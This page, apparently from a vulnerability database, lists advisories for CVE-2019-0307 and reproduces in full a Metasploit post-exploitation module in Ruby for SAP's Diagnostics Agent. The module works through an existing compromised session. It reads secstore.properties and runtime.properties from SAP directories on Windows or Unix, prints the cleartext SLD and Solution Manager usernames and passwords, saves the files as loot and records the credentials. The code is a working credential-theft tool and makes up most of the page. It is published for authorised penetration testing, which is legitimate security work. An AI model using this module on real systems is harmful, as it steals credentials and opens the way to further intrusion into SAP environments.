Lucene search
K

Diagnostics Agent in Solution Manager, stores unencrypted credentials for Solution Manager server

🗓️ 07 Apr 2021 17:41:48Reported by Yvan Genuer, Vladimir IvanovType 
metasploit
 metasploit
🔗 www.rapid7.com👁 206 Views

Diagnostics Agent stores unencrypted Solution Manager server credential

Related
Code
ReporterTitlePublishedViews
Family
BDU FSTEC
The vulnerability of the SAP Solution Manager platform, related to deficiencies in registration data management, allows a perpetrator to disclose protected information.
17 Feb 202000:00
bdu_fstec
Circl
CVE-2019-0307
7 Apr 202107:56
circl
CNVD
SAP Solution Manager Trust Management Issue Vulnerability
13 Jun 201900:00
cnvd
CVE
CVE-2019-0307
12 Jun 201914:21
cve
Cvelist
CVE-2019-0307
12 Jun 201914:21
cvelist
EUVD
EUVD-2019-1080
7 Oct 202500:30
euvd
NVD
CVE-2019-0307
12 Jun 201915:29
nvd
OSV
CVE-2019-0307
12 Jun 201915:29
osv
Prion
Default credentials
12 Jun 201915:29
prion
Rapid7 Blog
Metasploit Wrap-Up
9 Apr 202119:17
rapid7blog
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'resolv'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Exploit::Local::SapSmdAgentUnencryptedProperty

  SECSTORE_FILE = 'secstore.properties'.freeze
  RUNTIME_FILE = 'runtime.properties'.freeze

  WIN_PREFIX = 'c:\\usr\\sap\\DAA\\'.freeze
  UNIX_PREFIX = '/usr/sap/DAA/'.freeze

  WIN_SUFFIX = '\\SMDAgent\\configuration\\'.freeze
  UNIX_SUFFIX = '/SMDAgent/configuration/'.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Diagnostics Agent in Solution Manager, stores unencrypted credentials for Solution Manager server',
        'Description' => %q{
          This module retrieves the `secstore.properties` file on a SMDAgent. This file contains the credentials
          used by the SMDAgent to connect to the SAP Solution Manager server.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Yvan Genuer', # @_1ggy The researcher who originally found this vulnerability
          'Vladimir Ivanov' # @_generic_human_ This Metasploit module
        ],
        'Platform' => %w[bsd linux osx unix win],
        'SessionTypes' => %w[meterpreter shell],
        'References' => [
          [ 'CVE', '2019-0307' ],
          [ 'URL', 'https://conference.hitb.org/hitblockdown002/materials/D2T1%20-%20SAP%20RCE%20-%20The%20Agent%20Who%20Spoke%20Too%20Much%20-%20Yvan%20Genuer.pdf' ]
        ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_net_resolve_host
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )
  end

  def run
    case session.type
    when 'meterpreter'
      meterpreter = true
    else
      meterpreter = false
    end
    case session.platform
    when 'windows'
      windows = true
      instances = dir(WIN_PREFIX)
    else
      windows = false
      instances = dir(UNIX_PREFIX)
    end

    if instances.nil? || instances.empty?
      fail_with(Failure::NotFound, 'SAP root directory not found')
    end

    instances.each do |instance|
      next if instance == 'SYS'

      next if instance.include? ' '

      next if instance.include? '.'

      next if instance.include? 'tmp'

      if windows
        runtime_properties_file_name = "#{WIN_PREFIX}#{instance}#{WIN_SUFFIX}#{RUNTIME_FILE}"
        secstore_properties_file_name = "#{WIN_PREFIX}#{instance}#{WIN_SUFFIX}#{SECSTORE_FILE}"
      else
        runtime_properties_file_name = "#{UNIX_PREFIX}#{instance}#{UNIX_SUFFIX}#{RUNTIME_FILE}"
        secstore_properties_file_name = "#{UNIX_PREFIX}#{instance}#{UNIX_SUFFIX}#{SECSTORE_FILE}"
      end

      runtime_properties = parse_properties_file(runtime_properties_file_name, meterpreter)
      secstore_properties = parse_properties_file(secstore_properties_file_name, meterpreter)

      next if runtime_properties.empty?

      print_line
      print_status("Instance: #{instance}")
      print_status("Runtime properties file name: #{runtime_properties_file_name}")
      print_status("Secstore properties file name: #{secstore_properties_file_name}")

      sld_protocol = nil
      sld_hostname = nil
      sld_address = nil
      sld_port = nil
      sld_username = nil
      sld_password = nil

      smd_url = nil
      smd_username = nil
      smd_password = nil

      # Parse runtime.properties file
      runtime_properties.each do |property|
        if property[:name].include?('sld.')
          case property[:name]
          when /hostprotocol/
            sld_protocol = property[:value]
          when /hostname/
            sld_hostname = property[:value]
          when /hostport/
            sld_port = property[:value]
          end
        elsif property[:name].include?('smd.')
          case property[:name]
          when /url/
            smd_url = property[:value].gsub(/\\:/, ':')
          end
        end
      end

      # Parse secstore.properties file
      secstore_properties.each do |property|
        if property[:name].include?('sld/')
          case property[:name]
          when /usr/
            sld_username = property[:value]
          when /pwd/
            sld_password = property[:value]
          end
        elsif property[:name].include?('smd/')
          case property[:name]
          when /User/
            smd_username = property[:value]
          when /Password/
            smd_password = property[:value]
          end
        end
      end

      # Print SLD properties
      if !sld_protocol.nil? || !sld_hostname.nil? || !sld_port.nil? || !sld_username.nil? || !sld_password.nil?
        print_line
        print_status('SLD properties:')
        print_status("SLD protocol: #{sld_protocol}") unless sld_protocol.nil?
        unless sld_hostname.nil?
          print_status("SLD hostname: #{sld_hostname}")
          if meterpreter
            if sld_hostname =~ Resolv::IPv4::Regex
              sld_address = sld_hostname
            else
              begin
                sld_address = session.net.resolve.resolve_host(sld_hostname)[:ip]
                print_status("SLD address: #{sld_address}")
              rescue Rex::Post::Meterpreter::RequestError
                print_error("Failed to resolve SLD hostname: #{sld_hostname}")
              end
            end
          end
        end
        print_status("SLD port: #{sld_port}") unless sld_port.nil?
        print_good("SLD username: #{sld_username}") unless sld_username.nil?
        print_good("SLD password: #{sld_password}") unless sld_password.nil?
      end

      # Print SMD properties
      if !smd_url.nil? || !smd_username.nil? || !smd_password.nil?
        print_line
        print_status('SMD properties:')
        print_status("SMD url: #{smd_url}") unless smd_url.nil?
        print_good("SMD username: #{smd_username}") unless smd_username.nil?
        print_good("SMD password: #{smd_password}") unless smd_password.nil?
      end

      # Store decoded credentials, report service and vuln
      print_line
      if sld_username.nil? || sld_password.nil?
        print_error("File #{secstore_properties_file_name} read, but this file is likely encrypted or does not contain credentials. This SMDAgent is likely patched.")
      else
        # Store decoded credentials
        print_good('Store decoded credentials for SolMan server')
        if sld_address.nil? || sld_port.nil?
          service_data = {}
        else
          service_data = {
            origin_type: :service,
            address: sld_address,
            port: sld_port,
            service_name: 'http',
            protocol: 'tcp'
          }
          # Report service
          report_service(
            host: sld_address,
            port: sld_port,
            name: 'http',
            proto: 'tcp',
            info: 'SAP Solution Manager'
          )
        end
        store_valid_credential(
          user: sld_username,
          private: sld_password,
          private_type: :password,
          service_data: service_data
        )
        # Report vulnerability
        if meterpreter
          agent_host = Rex::Socket.getaddress(session.sock.peerhost, true)
        else
          agent_host = session.session_host
        end
        report_vuln(
          host: agent_host,
          name: name,
          refs: references
        )
      end
    end
  end

  def parse_properties_file(filename, is_meterpreter)
    properties = []
    if file_exist?(filename)
      properties_content = read_file(filename)
      if properties_content.nil?
        print_error("Failed to read properties file: #{filename}")
      else
        if is_meterpreter
          agent_host = Rex::Socket.getaddress(session.sock.peerhost, true)
        else
          agent_host = session.session_host
        end
        loot = store_loot('smdagent.properties', 'text/plain', agent_host, properties_content, filename, 'SMD Agent properties file')
        print_good("File #{filename} saved in: #{loot}")
        properties = parse_properties(properties_content)
      end
    else
      print_error("File: #{filename} does not exist")
    end
    properties
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Feb 2026 18:59Current
4.3Medium risk
Vulners AI Score4.3
CVSS 32.4
CVSS 22.7
EPSS0.02089
206